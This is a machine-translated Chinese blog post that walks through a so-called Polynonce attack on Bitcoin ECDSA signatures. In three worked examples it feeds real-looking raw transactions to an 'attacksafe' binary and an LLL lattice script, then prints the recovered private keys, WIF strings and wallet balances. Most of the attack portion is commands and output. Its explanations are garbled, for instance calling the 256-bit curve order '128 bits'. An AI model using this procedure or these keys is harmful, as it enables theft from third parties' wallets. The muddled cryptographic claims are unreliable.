POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

加密深度技術

在本文中,我們將再次觸及主題:“比特幣的嚴重漏洞”,並在所有三個示例中使用 2023 的全新攻擊“POLYNONCE ATTACK”。第一次提到這種攻擊是在“Kudelski Security”的一篇文章中描述的。

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/

作為實踐基礎,我們將從我們之前的文章使用自同態加速 secp256k1”中獲取材料,其中Hal Finney   LAMBDA 和 BETA的 secp256k1 曲線上的值隱藏了比特幣橢圓曲線的不確定性深度。

我們可以透露很多Binary number (4 digits): "1111" // Hex number"F" //

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://www.rapidtables.com/convert/number/hex-to-binary.html

我們也非常清楚由128 位二進制數(4 位)組成的secp256k1曲線的順序“1111” // 十六進制數:“F” //

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001

我們看到以多項式為單位的二進制碼中任意高次的128位模

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

Speed ​​up secp256k1 with endomorphism


鑑於這一事實,比特幣私鑰的初始位將是二進制數(4 位):“1111” // 十六進制數:“F” //


作為理論基礎,我們將採用以下材料:

“對比特幣的 Polynonce 攻擊”

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://attacksafe.ru/polynonce-attack-on-bitcoin

考慮一個比特幣地址的例子:

1DxzwX4qC9PsWDSazuWbJRzEwdGx3n9CJB

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

原始TX

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

我們去官網看看:  https: //colab.research.google.com

選擇選項 “上傳筆記本”

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

下載文件:  POLYNONCE_ATTACK.ipynb


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

通過實用程序加載HEX數據echo 並將其保存到文件:RawTX.txt

!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

為了實施攻擊,我們將使用該軟件

 攻擊安全軟件

實施 Frey-Rück 攻擊以獲得密鑰“K”(NONCE)
www.attacksafe.ru/software

訪問權限:

!chmod +x attacksafe

ls

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

應用:

!./attacksafe -help
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

!./attacksafe -version
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" 包括對比特幣的所有流行攻擊。

讓我們列出所有攻擊:

!./attacksafe -list
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們選擇 -tool: polynonce_attack

為了獲得簽名的特定HEX值,我們之前  通過該實用程序將數據添加到文本文檔並將其保存為文件  R,S,ZECDSARawTXechoRawTX.txt

02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

-tool polynonce_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們發起了這次攻擊 -tool polynonce_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

為了從文件計算比特幣錢包的私鑰, SignatureRSZ.csv我們將安裝SageMath

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

之前我們發過一篇文章,下載 tar-file:  sage-9.3-Ubuntu_20.04-x86_64.tar.bz2


!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們瀏覽一下目錄:

cd SageMath/

ls

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

 使用以下命令運行 relocate-once.py :Python-script: 

!python3 relocate-once.py
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

移動"AttackSafe""SignatureRSZ.csv"文件夾"SageMath"

!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

ls
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

通過實用程序從 Dario Clavijo 下載腳本crack_weak_ECDSA_nonces_with_LLL.pywget

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

現在讓我們運行 SageMath 命令:


!./sage -sh
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

要計算比特幣錢包的私鑰,請運行指定參數的腳本crack_weak_ECDSA_nonces_with_LLL.py128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件:PrivateKey.txt

HEX我們收到格式為比特幣錢包的私鑰

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py

結果:

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們收到了四個相同的首字母128 bits

POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe

感謝 Hal Finney的 secp256k1 曲線上的值  LAMBDA 和 BETA 向我們揭示了相同的初始位128 bits,因為比特幣錢包私鑰的初始位以Binary number (4 digits): "1111" // Hex number: "F" //


讓我們檢查一下私鑰的十六進制:

安裝模塊bitcoin

!pip3 install bitcoin
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件:PrivateKeyAddr.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

讓我們打開 bitaddress 並檢查:

ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
WIF:  L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX
HEX:  f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

BALANCE: $ 3699.40


讓我們看看其他例子:


2


考慮帶有比特幣地址的示例 #2:

137a6fqt13bhtAkGZWrgcGM98NLCotszR2

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

原始TX

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

讓我們從第一個示例中刪除文件:

!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

通過實用程序加載 HEX數據 echo 並將其保存到文件:  RawTX.txt

!echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

-tool polynonce_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們發起了這次攻擊 -tool polynonce_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們運行 SageMath 命令:


!./sage -sh
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

要計算比特幣錢包的私鑰,請運行  指定參數的 腳本crack_weak_ECDSA_nonces_with_LLL.py128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件: PrivateKey.txt

HEX 我們收到格式為比特幣錢包的私鑰 

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py

結果:

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們收到了四個相同的首字母128 bits

POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7

感謝 Hal Finney的 secp256k1 曲線上的值  LAMBDA 和 BETA 向我們揭示了相同的初始位128 bits,因為比特幣錢包私鑰的初始位以Binary number (4 digits): "1111" // Hex number: "F" //


讓我們檢查一下私鑰的十六進制:

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件: PrivateKeyAddr.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開 bitaddress 並檢查:

ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2
WIF:  L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo
HEX:  ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

BALANCE: $ 1133.73


讓我們看看其他例子:


3


考慮帶有比特幣地址的示例#3:

1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

原始TX

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000

讓我們從第二個示例中刪除文件:

!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

通過實用程序加載 HEX數據 echo 並將其保存到文件:  RawTX.txt

!echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

-tool polynonce_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們發起了這次攻擊 -tool polynonce_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們運行 SageMath 命令:


!./sage -sh
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

要計算比特幣錢包的私鑰,請運行  指定參數的 腳本crack_weak_ECDSA_nonces_with_LLL.py128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件: PrivateKey.txt

HEX 我們收到格式為比特幣錢包的私鑰 

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example3/POLYNONCE.py

結果:

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們收到了四個相同的首字母128 bits

POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18

感謝 Hal Finney的 secp256k1 曲線上的值  LAMBDA 和 BETA 向我們揭示了相同的初始位128 bits,因為比特幣錢包私鑰的初始位以Binary number (4 digits): "1111" // Hex number: "F" //


讓我們檢查一下私鑰的十六進制:

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件: PrivateKeyAddr.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開 bitaddress 並檢查:

ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
WIF:  L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY
HEX:  fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

BALANCE: $ 459.24


文學:

  • 針對 ECDSA 的新型相關 Nonce 攻擊,Marco Macchetti [Kudelski Security,瑞士] (2023)
  • Gallant、Robert P.、Robert J. Lambert 和 Scott A. Wanston。 “具有高效自同態的橢圓曲線上的更快點乘”  。年度國際密碼學會議,pp. 190–200。斯普林格,柏林,海德堡,(2001)
  • Hankerson、Darrell、Alfred J. Menezes 和 Scott Wanston。 “橢圓曲線密碼學指南”  。計算機評論 46,沒有。1 (2005)
  • 哈爾·芬尼。bitcointalk –   “加速簽名驗證”  。(2011)   https://bitcointalk.org/index.php?topic=3238.0
  • Blahut, Richard E.   “密碼學和安全通信”  。劍橋大學出版社,(2014)

來源

攻擊安全軟件

電報:https://t.me/cryptodeeptech

視頻:https://youtu.be/7nKs_KHtyn4

來源:https://cryptodeep.ru/polynonce-attack


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

 密碼分析

Crypto Deep Tech